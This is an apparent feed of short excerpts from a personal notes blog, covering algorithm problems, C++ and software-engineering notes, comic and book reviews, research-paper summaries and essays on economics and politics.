double binary_search(double lo, double hi, double lim) {
 while (hi - lo > precision) {
 const double mid = (hi + lo) / 2;
 if (lim < f(mid)) hi = mid; // Search in left half
 else lo = mid; // Search in right half
 }
 return lo;
}

In my attempt at writing binary_search, I had:

[ToDo] Algorithms Meta

Wed, 17 Aug 2022 00:00:00 +0000

(13 pages) defines computational problems, algorithms, programming languages, pseudo-code, and online judges.

Principles of Algorithmic Problem Solving. Johan Sannemo. KTH Royal Institute of Technology. www.csc.kth.se . Oct 24, 2018.

[ToDo] Discrete Mathematics

Wed, 17 Aug 2022 00:00:00 +0000

Logic

walks through pretty common syntax.

Sets and Sequences

defines sets and sequences, and various notations.

Sums and Products

introduces syntax, and declares a few closed forms without proofs.

Graphs

defines various terms like vertices, edges, paths, walks, trails, trees, connectedness, edge-directionality, edge-weights, etc.

recommends:

Calculus by Michael Spivak.
Logic in Computer Science by Michael Huth.
Discrete and Combinatorial Mathematics: An Applied Introduction by Ralph Grimaldi.
Concrete Mathematics by Oren Patashnik, Donald E. Knuth, and Ronald Graham.
Graph Theory by Reinhard Dietsel.

References

Principles of Algorithmic Problem Solving. Johan Sannemo. KTH Royal Institute of Technology. www.csc.kth.se . Oct 24, 2018.

House of M

Sun, 14 Aug 2022 00:00:00 +0000

Plot Points

[Xavier] Wanda, put the world back now! [Wanda] No! [Xavier] Put it back! [Wanda] But my children! [Xavier] Never existed!

Wanda’s overarching desire to have a family to the detriment of others has been explored in the films WandaVision, and Doctor Strange: Multiverse of Madness. First time seeing it in comic form.

[Logan] Someone do the math for me… How many more of you does she have to kill before you snap out of it?

K-th Smallest Element in Sorted Matrix

Mon, 01 Aug 2022 00:00:00 +0000

Given an $N \times N$ matrix, where each of the rows and columns are sorted in ascending order, return the $k^{th}$ smallest element in the matrix. The memory complexity must be better than $O(N^2)$.

It’s not guaranteed that matrix[r][c] > matrix[r-1][c], so we can’t compute the row (and similarly, the column) in which the $k^{th}$ smallest element is in.

Using a priority queue that holds the $K$ smallest elements does not work because the memory usage is $O(K)$, where $K$ can be any value in $[1, N^2]$. Furthermore, that doesn’t take into account that the rows and columns are already sorted.

Spanning 4-Directional Walks From Origin to Destination w/ Obstacles

Sun, 31 Jul 2022 00:00:00 +0000

Problem

Given an $M \times N$ integer array grid where grid[i][j] could be:

1 representing the starting square. There is exactly one starting square.
2 representing the ending square. There is exactly one ending square.
0 representing empty squares that we can walk over.
-1 representing obstacles that we cannot walk over.

Return the number of 4-directional walks from the starting square to the ending square, that walk over every non-obstacle square exactly once.

Unique Paths to the Bottom-Right Corner w/ Obstacles

Sun, 31 Jul 2022 00:00:00 +0000

Problem

Starting from the top-left corner, what is the number of possible unique paths to reach the bottom-right corner, if you can only move either down or right at any point in time, and the path cannot include any square that is an obstacle?

Solution

The addition of obstacles has these implications:

I can’t use the combinatorics formula because the problem is no longer easy to define in general terms.
The logic in the inner loop of the DP solution needs to take the obstacles into account.

#dynamic-programming

Unique Paths to the Bottom-Right Corner

Sat, 30 Jul 2022 00:00:00 +0000

Problem

Starting from the top-left corner, what is the number of possible unique paths to reach the bottom-right corner, if you can only move either down or right at any point in time?

Dynamic Programming Solution for Moving Down/Right

#dynamic-programming

The number of unique paths to grid[r][c] is the number of unique paths to grid[r-1][c] plus the number of unique paths to grid[r][c-1], e.g.,

1	1	1	1
1	2	3	4
1	3	6	10

At any given time, we’re interested in two adjacent rows, so our space usage should be at most $2n$. Furthermore, we do not back-track to the left, so if we update our values left-to-right, we can use $n$ space because the current cell will have the value from what would have been in the previous row.

Debugging

Sat, 02 Jul 2022 00:00:00 +0000

Debugging 101

Definition? Debugging involves inspecting a program’s internal state.

`printf` Debugging and Logging

In printf debugging, one adds print statements and keeps iterating until enough information has been extracted.

Using logging has several advantages over printf debugging: varying logging destinations (e.g. standard output, files, sockets, remote servers, etc.); severity levels (e.g. INFO, DEBUG, WARN, ERROR, &c) that support filtering of output; color-coding for readability.

Terminals have varying levels of color support: plain color; ANSI escape codes (16 color codes with bold/italic and background); 256 color palette; 24-bit truecolor (“888” colors, aka 16 million, e.g. printf "\x1b[38;2;255;100;0mTRUECOLOR\x1b[0m\n").

Testing Your Code

Sat, 11 Jun 2022 00:00:00 +0000

Why Write Tests

Helps catch bugs in the code, and in the programmer’s mental model of what the code does.

The later a bug is caught in the development cycle, the more expensive it is to fix it. A good test today is a future debugging session saved.

The test is the first client of your code. It uncovers sub-optimal design choices, tight couplings, missed cases, etc..

Perspectives on Software Engineering

Mon, 06 Jun 2022 00:00:00 +0000

On the Clean Code Movement

Good enough is good enough. The architectural choices and bugs in the implementation tend to be more impactful, so focus more on those.

Be conservative in what you consider technical debt. It should be something that slows down current/future changes, and not code that doesn’t “feel nice”. A code base that is free if technical debt is likely over-emphasizing polish over delivery.

Abstractions and indirections in the name of future-proofing tend to be wrong especially when treading new paths, where you can’t reliably predict the future. A lot of value is in knowing the design guidelines well enough, that you know when/if to deviate to better suit the current problem.

Resource Management in C++

Tue, 31 May 2022 00:00:00 +0000

Resource Handles

RAII is also covered in Classes in C++ > Motivation for the Destructor Mechanism

The constructor/destructor pattern enables objects defined in a scope to release the resources during exit from the scope, even when exceptions are thrown. All standard-library containers, e.g. std::vector, are implemented as resource handles.

`std::unique_ptr` and `std::shared_ptr`

These “smart pointers” are useful in managing objects that are allocated on the free store (as opposed to those allocated on the stack).

Templates in C++

Mon, 30 May 2022 00:00:00 +0000

A template is a class or a function that we can parameterize with a set of types or values.

Parameterized Types

The vector-of-doubles can be generalized to a vector-of-anything type by making it a template:

// `template<typename T>` can be read as "for all types T". Older code
// uses `template<class T>`, which is equivalent.
template<typename T>
class Vector {
 public:
 explicit Vector(int s);
 ~Vector() { delete[] elem; }

 // ... copy and move operations ...

 T& operator[](int i); // For non-const Vectors
 const T& operator[](int i) const; // For const Vectors
 int size() const { return sz; }

 private:
 T* elem;
 int sz;
};

Thor: God of Thunder

Tue, 24 May 2022 00:00:00 +0000

Inspired to read this comic by the upcoming Thor: Love and Thunder film.

Motifs

[Gorr] As I stand here now, witnessing with my own eyes the first awkward fumblings of life in the void, I see no weeping god. No tears except those shed by the misshapen creatures around me, minutes old and already begging for death. I see no grand plan at work. No benevolent omnipotence at display. I see only an inbred offspring of the elder gods, treating primordial life as his fleshy plaything. But despite the best efforts of the gods, I know that life will still find a way. Worlds will be blasted into being and creatures will slither from the ooze to evolve and thrive. And ultimately learn to fear and worship the bumbling deities they assume to be their makers. #antitheism

Swamp Thing

Mon, 16 May 2022 00:00:00 +0000

Motifs

Love and Loyalty

Their master gone, the un-men pause, uncertain of what to do… They must among themselves for a moment – and, at least, a decision is reached. For all their existence, they have followed their master blindly – wherever he might lead… And there seems no good reason to change that situation now. #loyalty

[Liz] He’s kept her safely shut away for years. Isn’t that love? She’s terrified of life without him. Isn’t that love? What other kind of love will protect her from this awful world? The love she shares with Dennis is special, will grow into something wonderful. Even shut away from the sunlight. [Narrator] She knows this is true. He told her so himself. But those eyes.

TV and Film

Tue, 10 May 2022 00:00:00 +0000

Crime Drama

Ozark’s highlights are Ruth Langmore’s 90s’ hip hop playlist, Wendy Byrde’s sociopathic ambition, and Del Rio’s suave. The show follows the Byrde family that has to launder money for the Navarro Cartel. The writers use shortcuts as the show proceeds, and grant excessive plot armor for the Byrde family in subsequent seasons.

’s Bill Dubuque also wrote The Accountant (2016 Film) , which follows a CPA with high-functioning autism who makes his living by uncooking the books of criminal organizations experiencing internal embezzlement. Might be worth looking into.

Snow, Glass, Apples

Sun, 10 Apr 2022 00:00:00 +0000

Snow, Glass, Apples

Stumbled onto from Hoopla’s recommendations. flips the script and tells the story from the step mother’s perspective, and she is also the protagonist.

Snow White is a vampire. She fed on her father (consensually?), the King, to the point of him being a shadow of a man. Her stepmother, the Queen, was only 18 when the King died. The Queen had witnessed Snow White’s vampirism, and so she had a servant kill her by carving out her heart and dump her in the forest.

Reading List from Reviews

Sun, 27 Mar 2022 00:00:00 +0000

Objective: Collect recommendations on books that I don’t know about.

Computer Science

Code: The Hidden Language of Computer Hardware and Software; Charles Petzold

Not much concrete things said in , but a couple of users remark that it got them into CS. Clear presentation of concepts that programmers “tend to know” in a hand-wavy sort of way.

Don’t Make Me Think; Steve Krug

Faculty member uses it as a required text in most of their UX classes.

Parable of the Sower

Mon, 14 Mar 2022 00:00:00 +0000

Parable of the Sower. A Graphic Novel Adaptation (Original by Butler, 1993). Damian Duffy; John Jennings; Octavia E. Butler. www.abramsbooks.com . www.hoopladigital.com . 2020. ISBN: 978-1-4197-3133-4 .

Notable Plot Moments

“A pessimist if I’m not careful.” She did not just reject pessimism once and become a Pollyanna thereafter. It was an impulse that she had to quell over and and over. It was a dynamic and continuous act, a hard-nosed practice of staring down the worst of humanity’s evils and refusing to live in denial, all the while choosing to remember that humanity is also capable of great good.

The Department of Truth

Fri, 18 Feb 2022 00:00:00 +0000

The Department of Truth | Image Comics. James Tynion IV; Martin Simmonds. imagecomics.com . Accessed Feb 18, 2022.

Expecting a modern take on 1984, which I didn’t finish because I lost interest.

Plot Points

[Lee Harvey Oswald] The more people believe in something, the more true that thing becomes. The more reality tips in the favor of that belief. What happened in Antartica was that a group of men managed to make enough people believe in the truth of a flat earth for it to manifest in reality… Retroactively, the earth would always have been flat. And the people would rightly rise up in fury having been lied to by everyone for decades. #tulpa

Software Engineering Journal Reviews

Sat, 15 Jan 2022 00:00:00 +0000

Formal Software Design

Alloy is an open-source language and analyzer for software modeling. An Alloy model is a collection of constraints that describe a set of structures, e.g. all possible security configurations of a web application. Alloy’s tool, the Alloy Analyzer is a solver that takes the constraints of a model and finds structures that satisfy them.

The Alloy Analyzer leverages a SAT solver, and this precludes Alloy from analyzing optimization problems. propose Alloy^Max, an extension of Alloy that can analyze problems with optimal solutions, soft constraints and priorities. Alloy^Max adds new language constructs for specifying optimization problems, and uses an analysis engine that leverages a Maximum Satisfiability (MaxSAT) solver. also provide a translation mechanism from a first-order relational logic into a weighted conjunctive normal form (WCNF) that the MaxSAT solver expects.

Journal Reviews

Tue, 11 Jan 2022 00:00:00 +0000

Link Prediction

Given network-structured data, predict whether a link exists between two nodes.

General types of prediction tasks on graphs: graph-level (e.g. will a molecule bind to a receptor implicated in a disease?), node-level (e.g. what is the identity of each node?), and edge-level (e.g. does this edge exist; what value does it have?).

Applications include: predicting drug-drug interactions (common in treating patients with complex/co-existing diseases) as they may cause changes in the drugs’ pharmacological activity .

Modular Arithmetic

Sun, 02 Jan 2022 00:00:00 +0000

Main resource: .

What is Modular Arithmetic?

Where $A$ and $B$ are integers, we can write:

$$ \frac{A}{B} = Q \text{ remainder } R $$

Using the same $A, B, Q, \text{ and } R$ as above, we have:

$$ A \text{ mod } B = R $$

$A \text{ mod } B$ can be visualized as taking $A$ steps on a clock that runs from $0$ to $B-1$. If the number is positive we step clockwise, if it’s negative we step counterclockwise.

Projects That Never Made It

Fri, 24 Dec 2021 00:00:00 +0000

Startups tend to fail more often than they succeed. However, a lot of startup advice is given by those who made it, and therefore prone to survivorship bias. Hearing from founders that gave it their all but never succeeded should be enlightening.

I expect reasons like misunderstanding the customer, sunk costs, running out of money (especially with societal pressures like a family to fend for), wrong time, etc.

We The Consumers

Tue, 21 Dec 2021 00:00:00 +0000

Product Differentiation and Price Discrimination

Product differentiation seeks to distinguish a product from a competing product to make it more attractive to a specific target market. Price discrimination occurs when the same goods/services are sold at different prices from the same company.

The Captain Samuel Vimes “Boots” theory of socio-economic unfairness: the rich man who bought the high quality $50 pair of boots would still be using them in 10 years, while the poor man who buys the $10 pair would have spent $100 on boots in the same time, and still be worse off.

Saga

Sat, 11 Dec 2021 00:00:00 +0000

Saga. Brian Vaughan; Fiona Staples. imagecomics.com . www.hoopladigital.com . en.wikipedia.org .

Volumes 1, 2, 3, 6, 7 and 9 have been nominated for the the Hugo Award for Best Graphic Story. A 6/9 nomination rate implies that the comic is pretty good!

Themes (Mostly War)

Planet Landfall (Alana’s) and Wreath (its moon, Marko’s) have been in conflict as long as anyone can remember. Destroying either would send the other out of orbit, so they make peace at home, but outsource the combat to foreign lands. Most locals didn’t really think about the battles being waged in their names in distant lands. #societal-apathy

As the Last I May Know

Sat, 04 Dec 2021 00:00:00 +0000

#utilitarianism

As the Last I May Know. Shi Lian Huang. www.tor.com . Accessed Dec 4, 2021.

won the “Best Short Story” Hugo Award in 2020.

Memorable Points

Background: Sere missiles can wipe out a city completely. Nyma’s nation has been the only recipient of a seres strike. They’ve since acquired their own seres stockpile. They’re engaged in war with an state that lacks seres weapons.

The Wicked + The Divine

Wed, 01 Dec 2021 00:00:00 +0000

#religious-fiction

#extraterrestrial-possession

Volume 9 was nominated for the 2020 Hugo Award for Best Graphic Story or Comic. However, not very stoked after Book One (Vol 1 and 2). Maybe it gets better? Only Volume 9 has been nominated for a Hugo Award, so maybe check that next time before committing?

The Recurrence. Every 90 years, 12 gods reincarnate on earth for 2 years. In 2014, the gods are living as pop icons. Some are high culture, e.g. Lucifer, and others are underground, e.g. The Morrígan.

Blood Is Another Word for Hunger

Tue, 30 Nov 2021 00:00:00 +0000

Blood Is Another Word for Hunger. Rivers Solomon. seattle.bibliocommons.com . 2019.

Plot Points

Sully slays slavers’ family after their patriarch dies in battle. She did not feel any remorse nor relief.

The etherworld thrived on the impermissible. A young and tender girl murdering a family, and maintaining her rage after the fact, was so impermissible that it cut a path between dominions.

LaGuardia

Tue, 30 Nov 2021 00:00:00 +0000

LaGuardia. Nnedi Okorafor; Tana Ford; James Devlin. 2019.

Winner of the 2020 Hugo Award for Best Graphic Novel, and the 2020 Eisner Award for Best Graphic Album - Reprint.

Aliens exist (first landed in Nigeria); human-alien in the world. Main character: Future, a Nigerian-American doctor. Future sneaks in LetMeLive, an alien, into America to escape a genocide (largely imperceptible to humans) on LetMeLive’s kind.

Bloom Filters

Sun, 07 Nov 2021 00:00:00 +0000

Bloom Filters

In true fashion to Stigler’s Law of Eponymy (no scientific discovery is named after its original discoverer ), Ross Ashby (1960) did a probabilistic analysis of Calvin Mooers’s Zatocoding (1947) (coding system for library cards). This predates Burton Bloom’s work (1970).

Motivation

A Bloom filter for a set $X: \{x_1, x_2, …, x_n\} $ from some universe $\mathbb{U}$ allows one to test whether a given item $x \in \mathbb{B}$ is an element of $X$. Hash tables can already answer $x \in X$ queries in $O(1)$ expected time, and $O(n)$ space.

In Defense of a Liberal Education

Sun, 31 Oct 2021 00:00:00 +0000

#education

Societal Preference for STEM Over the Liberal Arts

Not everyone can [wants to?] take the sciences, but they were pushed out of their passions into applicable degrees like Business and Communications.

The initially high economic return to applied STEM degrees declines by more than 50% in the first decade. People who major in LA don’t get first jobs that are as lucrative, but they do catch up.

Governments tend to claim a shortage of STEM workers (who are valued for innovation and national defense), and allocate funds for increasing the student pipeline. However, the fact that STEM wages have stagnated, and new grads struggle to find jobs casts doubt on the claim. Furthermore, the data is murky (e.g. who is classified as STEM, is a STEM degree a pre-requisite for a STEM job) that it can be massaged to support a specific policy.

Socio-Economic Equity in Tech

Thu, 28 Oct 2021 00:00:00 +0000

When it comes to STEM diversity goals, Asian American and Pacific Islander (AAPI) tends to be excluded from the URMs under discussion, e.g. .

However, AAPI as a blanket term obscures the struggles of member groups, e.g. $62\%$ of AAPI adults aged 24 and older have an associate’s degree or higher, compared to 28% of Native Hawaiians and Pacific Islanders of the same age. AA comprises $\approx 50$ ethnic groups, while PI has $\approx 20$.

Stories of Your Life and Others

Mon, 25 Oct 2021 00:00:00 +0000

Stories of Your Life and Others. Ted Chiang. 2010. ISBN: 9781931520898 .

Tower of Babylon

#religious-fiction

#divine-retribution-motif

Story focused on Hillalum, who lived during the construction of the Tower of Babel .

notes that the Hebrew school version was more elaborate than the Old Testament account, e.g. the tower is so tall that it takes a year to climb, and when a man falls to his death, no one mourns, but when a brick is dropped, the brick-layers weep because it will take a year to replace.

Towards a Collaborative Web Browser

Wed, 13 Oct 2021 00:00:00 +0000

One of the grand dreams of the web is bringing people together so that they may find relevant information.

Sometimes this is implicit, e.g. Google Search’s PageRank learns from inter-page links which are mostly made by people, but there may be room for explicit collaboration when navigating the web. This section explores such explicit attempts.

#lost-in-hyperspace

A Group Asynchronous Browsing (GAB) Server

Premise: Users submit their subject hierarchies (bookmarks) to the GAB server. The GAB server then forms a multitree from these hierarchies.

Evolution

Tue, 12 Oct 2021 00:00:00 +0000

Why Birds Can Fly Over Mount Everest

uses a captivating narrative style to elaborate on a complex question. The exposition makes the scientific parts memorable.

features a good anecdote of insight favoring the prepared. On a jog in London in January, probably primed by reading Nick Lane’s Oxygen, he noticed that there were some bar-headed geese. These geese migrate between India and Kazakhstan/Mongolia, necessitating a flight over the Himalayas, sometimes at 28,000 feet.

Reviews of WWW Proceedings

Tue, 12 Oct 2021 00:00:00 +0000

Reconstructing Ireland’s Lost History through the Beyond 2022 Project

Aims to create a virtual 3-D reconstruction of the “Record Treasury” of the Public Record Office of Ireland in Dublin. The original one was destroyed in Ireland’s Civil War of 1922. Reassembling will use copies, transcripts and records scattered among archival partners.

#digital-humanities

The full text of discusses challenges presented by the Beyond 2022 project. Should be more substantive than the forward-looking nature of the abstract above.

Journal Reviews on Fairness

Mon, 04 Oct 2021 00:00:00 +0000

Online Markets

Mon, 04 Oct 2021 00:00:00 +0000

WWW ‘21: The Web Conference 2021

REST: Relational Event-Driven Stock Trend Forecasting

REST, an event-driven stock trend forecasting framework, that overcomes two limitations of existing event-driven models. Models the stock context, and learns the effect of event information on the stocks under different contexts. Constructs a stock graph and designs a new propagation layer to propagate the effect of event information from related stocks. #stock-trend-forecasting #computational-finance

#graph-based-learning

The value of stock trend forecasting is not unanimous, e.g. Malkiel contends that forecasting is a fool’s game , while Simon’s RenTech is all about the math . But it seems like the question is an empirical one, and therefore, a good answer should exist. Why are there opposing camps?

Observer

Tue, 28 Sep 2021 00:00:00 +0000

notes that , the primary source, glosses over nitty-gritties. e.g. the “message queue” server. Maybe reading through these will provide a larger perspective to design decisions made in Chromium regarding observers.

Rant: some of willchan’s thoughts on WeakPtr, for those who care to read criticizes the observer pattern for murking dependency chains. Investigate more in this regard.

Intent

A one-to-many dependency between object so that when one object (subject) changes, all its dependents (observers) are notified and update automatically.

The Lathe of Heaven

Fri, 17 Sep 2021 00:00:00 +0000

Premise: Orr can have “effective” dreams that retroactively change reality for everyone else, except those who are aware of him dreaming. See for a refresher on the plot.

Notable Plot Points

Prodded by Haber to dream of the end of overpopulation, Orr dreamt of a plague that killed 6B people. But Orr tries to convince himself that the world that was was fiction in his head, so he didn’t really kill anyone.

Why People Are [Epistematically] Irrational About Politics

Tue, 31 Aug 2021 00:00:00 +0000

Motivation: Why are politics so contentious? How can I relate better with people that hold opposing political beliefs?

Why People Are Irrational About Politics. Michael Huemer. Philosophy, Politics and Economics. 2015.

Salient features of political disagreements: widespread (many people disagree on many issues), strong conviction/confidence, and persistent (difficult to resolve).

Political Disputes Are Not Explained by Miscalculation or Ignorance

Miscalculation Theory: Political issues are difficult and partisans make mistakes in their reasoning.

Why People Are [Epistematically] Irrational About Politics

Tue, 31 Aug 2021 00:00:00 +0000

Motivation: Why are politics so contentious? How can I relate better with people that hold opposing political beliefs?

Why People Are Irrational About Politics. Michael Huemer. Philosophy, Politics and Economics. 2015.

Salient features of political disagreements: widespread (many people disagree on many issues), strong conviction/confidence, and persistent (difficult to resolve).

Political Disputes Are Not Explained by Miscalculation or Ignorance

Miscalculation Theory: Political issues are difficult and partisans make mistakes in their reasoning.

[ToDo] Site Health

Sat, 14 Aug 2021 00:00:00 +0000

Things that make the personal website better, but are orthogonal to adding new content.

🟡 Achieve parity between .md and .html content files. Right now, the scripts treat .md as the identifier for site content, which means .html files lack full YAML.

🟡 Add a --augment_all parameter to src/augment_yaml.py. Useful when adding new augmentations that need to be applied to all files.

The current augment_yaml.py uses the changelist from git to determine which files need augmentation. Can I use the touch command to achieve the same thing as --augment_all?

The Sandman

Sat, 14 Aug 2021 00:00:00 +0000

Path to comic: Lucifer (Netflix) -> Lucifer (Comic) -> The Sandman (Comic)

Netflix is also adapting the comic, so interested in how it deviates from the source. Ser Brienne of Tarth will be Lucifer. Hype!

Love

Dream: Sister – you know how I felt for Nada one. What I feel for her still. But she defied me. I gave her due earning, and she still spurned me, so… Death: So you sentenced her to hell.

2020 Tokyo Olympics Ranking

Fri, 06 Aug 2021 00:00:00 +0000

Weighted sum is calculated as $3 \cdot gold + 2 \cdot silver + 1 \cdot bronze$. The number of athletes per country at the Tokyo Olympics sourced from Business Insider. Medal standings fetched from olympics.com. Raw data at .

Naively counting the number of athletes disadvantages countries that participate in team sports. This ranking is biased.

Medal count last updated at

Rank	$\Delta$	Team/NOC	Gold	Silver	Bronze	Weighted Sum	Weighted Sum Per Athlete

Misconstructions and Misconceptions

Mon, 02 Aug 2021 00:00:00 +0000

A collection of instances in which I believed something that wasn’t true. A reminder to read not to believe, but to weigh and consider .

The Four Color Theorem does not claim that 4 colors suffice to color a planar map. Instead, 4 colors are sufficient to color any planar graph so that no two vertices connected by an edge are colored with the same color. For any $n$, there is a map that requires at least $n$ colors.

Eternals

Sun, 25 Jul 2021 00:00:00 +0000

Eternals Vol. 3 (2006). Neil Gaiman; John Romita Jr.. www.marvel.com . www.hoopladigital.com . 2006.

Eternals Vol. 5 (2021). Kieron Gillen; Esad Ribić. www.marvel.com . www.hoopladigital.com . marvel.fandom.com .

Snapshots

Origin of Life

Mark Evanier: Can you prove that ancient civilizations weren’t visited by space travellers and heralded as gods? Did those aliens alight on this planet eons ago and plant the seeds of our civilization?

On Becoming a Better Point Guard

Tue, 13 Jul 2021 00:00:00 +0000

Objective: Learn to read the game and make smart predictions. Reaction times are overrated; perception and prediction rule .

Offensive Playmaking and Scoring

tracks the following play types: transition, isolation, pick & roll ball handler, pick & roll roll man, post up, spot up, handoff, cut, off screen and put-backs.

At least these categories provide a baseline for what search terms to use. also has a miscellaneous play type section, so it’ll be interesting to see if a new play-type pops up in the future.

Rage Against the Algorithm

Sun, 04 Jul 2021 00:00:00 +0000

The lack of explanability is a common theme. Higher-ups claim the machine is unbiased, while the workers on the ground say, “It’s not me; it’s the computer”.

Automating Inequality: How High-tech Tools Profile, Police, and Punish the Poor should be an enlightening read.

Computers Can Solve Your Problem. You May Not Like the Answer

The algorithm had four guiding principles:

Increase # of high school students starting after 8am
Decrease # of elementary school students dismissed after 4pm
Accommodate the needs of special education students
Generate transportation savings

Unprecedented opposition to the algorithm’s solution. Angry parents signed petitions and stormed the school committee. BPS dropped the solution.

Self-Learning: The Road So Far

Fri, 25 Jun 2021 00:00:00 +0000

On graduating, I pictured myself blossoming into a voracious autodidact. Unlike those pesky pre-requisites scattered through college, the topics I’d dive into will be 100% my choice! Two years after graduation, I’m underwhelmed by my progress so far. This post examines my current predicament.

OneNote Notebooks

Fortunately, OneNote is not part of M365 else I would need to pay for continued access.

Useful for annotating primary sources. Handwritten annotations make me feel as if I’m actually learning something.

Thoughts on Academic Research

Tue, 15 Jun 2021 00:00:00 +0000

Going to a talk is difficult for everyone because nobody understands the whole thing, but it’s especially difficult for undergraduates because they still expect to.

is a rich resource for understanding scholarly literature. Browse it. Some of the listed items are familiar, e.g. Google Scholar, SCImago, Sci-Hub, but it’d be informative to zoom out to the larger picture, e.g. good alternatives to Google Scholar.

Why Even Read Papers?

While tutorials and docs help you write code right now, the academic papers can help you understand where programming came from and where it’s going. You also understand the paths that foundational academic research did not take. There’s a lot of things that are old that are new again, over and over and over. The idea of Stack Overflow is that someone else has had your problem before; the idea of academic papers is that someone else has thought about this problem before.

Areas of Interest in Computer Science

Mon, 12 Apr 2021 00:00:00 +0000

Maybe a good approximation is where Google Research is spending $$$

: Algorithms and Optimization; Augmented Reality and Virtual Reality; Geo; Human Computer Interaction; Health Research; Machine Learning and Data Mining; Mobile; Machine Perception; Networking; Natural Language Processing; Privacy; Quantum Computing; Structured Data, Extraction, Semantic Graph, and Database Management; Security; Software Engineering and Programming Languages; Systems; Misc.

Research Scholar Program recipients. research.google . Apr 7, 2021.

LLMs: Stochastic Parrots 🦜 and How (Not) to Use Them

Wed, 03 Mar 2021 00:00:00 +0000

was written in a period when NLP practitioners are producing bigger (# of parameters; size of training data) language models (LMs), and pushing the top scores on benchmarks. The paper itself was controversial because it led to Gebru being fired from Google, following disagreements with her managers on conditions (withdraw, or remove Google-affiliated authors) for publishing the paper.

A lot changed since mid-2021, when I initially wrote this page. OpenAI’s ChatGPT took the world by storm – reaching 123m MAU less than 3 months after launch and becoming the fastest-growing consumer application in history (TikTok took 9 months to hit 100m MAU).

[ToDo] [MAS S67] The Great Problems

Mon, 01 Feb 2021 00:00:00 +0000

The Great Problems. Kevin M. Esvelt; Rosalind Picard; Neil Buddy Shah; Amy Smith; Anne White; Kai Steinmetz; David Keith; Toby Ord; Megan Palmer. MIT. canvas.mit.edu . 2021.

Introduction: Triumphs and Tragedies

Great Problem: Mental Health

Finland is the happiest country in the world, and the Finns aren’t happy about it.
Burden of Depressive Disorders by Country, Sex, Age and Year
Development, Freedom, and Rising Happines: A Global Perspective (1981 - 2007)
How to Be Happy
A Nihilist’s Guide to Meaning
How Bad Are Things?

Technological Trajectories

GME ✋ ... 🚀🚀🚀 ... 💎 ✋

Sat, 30 Jan 2021 00:00:00 +0000

$GME price in Jan-Feb 2021. Image Credits: https://finance.yahoo.com/chart/GME

Folks like Melvin Capital and Citron Research think that GameStop is a dying business. The general public is optimistic though, be it for fundamental reasons (e.g. Ryan Cohen (chewy.com) will help GameStop can re-invent itself in the online space ), or for personal amusement, or FOMO. In particular, /r/wallstreetbets members are buying lots of call options . Or maybe it’s rage against the financial machine.

Wall Street Potpourri

Sat, 30 Jan 2021 00:00:00 +0000

Maximizing the Value for Shareholders

Suing a company for not following its code of ethics and therefore misleading investors doesn’t fly, but Signet Jewelers settled for $240m . Signet’s 70k female employees sued for discrimination, but the class action is yet to be resolved.

Tom Toro’s New Yorker cartoon : Yes, the planet got destroyed. But for a beautiful moment in time we created a lot of value for shareholders.

Research on Privacy Enhancing Techniques

Sat, 23 Jan 2021 00:00:00 +0000

Journals

note that prediction services can still make accurate predictions using a fraction of the data collected from a user device. They propose Cloak, which suppresses non-pertinent features (i.e. those features which can consistently tolerate addition of noise without degrading utility) to the prediction task. Cloak has a provable degree of privacy, and unlike cryptographic techniques, does not degrade prediction latency. Using the training data, labels, a pre-trained model and a privacy-utility knob, they (1) find the pertinent features through perturbation training, and (2) learn utility-preserving constant values for suppressing the non-pertinent data. During the inference phase, they efficiently compute a sifted representation which is sent to the service provider.

The Future of Corporate Governance Part I: The Problem of Twelve

Sat, 23 Jan 2021 00:00:00 +0000

The Problem of Twelve: In the near future, roughly 12 individuals will have practical power over majority of US public companies.

A Short History of Corporations

In the first stage, entrepreneurs get money from savings, “friends, family, and fools”, and VCs. Securities law restricts this to sophisticated investors only.

On generating revenue and stability, the entrepreneur takes the firm public (IPO) under oversight from the SEC. Ownership is separated from control, e.g. a board of directors accountable to shareholders. VCs start selling off their stake. Given the imposed restrictions, few investors would buy more than 5%.

Privacy on the Web

Mon, 04 Jan 2021 00:00:00 +0000

One can use curl -v <url> to see all of the redirections and cookies set. found that generating a tiny URL for Zoom links gives a URL that first goes to redirect.viglink.com.

I tried this on https://tinyurl.com/yyte6pqv , which points to https://www.c13u.com/socioeconomics/2020-11-21-experiments-in-social-economics/ , but didn’t observe any 3rd party cookies. tinyurl.com did set a cookie, but that’s probably expected.

proposes Federated Learning of Cohorts, which aims to enable ad-targeting based on people’s general browsing interest without exposing the exact browsing history.

Computer Graphics Potpourri

Sun, 03 Jan 2021 00:00:00 +0000

Retained Mode vs. Immediate Mode

In retained mode, the graphics library exposes an API to the application for building/updating a scene. However, the graphics library is in charge of issuing drawing commands. In contrast, an immediate-mode API allows the application to issue the drawing commands. Retained-mode APIs abstract away initialization, state maintenance and cleanup, but uses more memory. Immediate-mode APIs allow for more targeted optimizations.

https://reactjs.org/ is one of the more popular retained-mode web APIs.

Information Retrieval Medley

Sun, 03 Jan 2021 00:00:00 +0000

Pagination with Relative Cursors

Exposing pagination through URLs like example.com/items?page=25&limit=100 leads to SQL like SELECT * from 'items' LIMIT 100 OFFSET 2400;, which inefficiently goes through 2,500 records and discards the first 2,400.

With relative cursors, we have URLs like example.com/items?limit=50&lastID=XXX, which leads to SQL like SELECT * from 'items' WHERE 'id' > XXX ORDER BY 'id' ASC LIMIT 50, and this is more efficient, assuming there are indexes for id.

Writing for Software Development

Sun, 03 Jan 2021 00:00:00 +0000

MUST and MUST NOT; On Writing Documentation

Revise documentation, many times, and on separate days to catch confusing parts.
Beware of ambiguities, e.g. X may not do Y. Refer to definitions, e.g. RFC 2119 .
Put yourself into different roles, e.g. the person just looking for samples, the person who wants to read up on every nook and crany, the person who has no technical background etc.

In writing class, I was taught to target a specific reader. The above suggests that I target multiple types of readers with the same piece. I’m hesitant to overrule what I learnt. Or is it more that the same reader will have different objectives in each read? Sometimes I read docs in order to understand the design; other times, I’m in search of a quick example to get the syntax.

Lean Startups vs. VC Money

Fri, 18 Dec 2020 00:00:00 +0000

20 years later, JetBrains is valued at $7b without taking VC money. HN users praise JetBrains for being user-focused, and the prevailing argument is that VC money comes with growth-hacking attached.

Is the Lean Startup Dead?

Katzenberg (Paramount, Disney Studios & DreamWorks) has raised $1.75b for NewTV, a startup banking on consumers wanting a subscription for 10-minute programs on mobile.

They renamed to quibi.com/ . At least that makes them more searchable on Google. “NewTV” searches lead to newtv.org , a community media center for the residents of Newton, Massachusetts.

On Political Correctness

Tue, 15 Dec 2020 00:00:00 +0000

From my vantage point, it seems there are two camps. But reality is often a shade of grey. Interested in various arguments that frequently arise in this area. I have my opinions/biases, but nothing that I can defend rigorously.

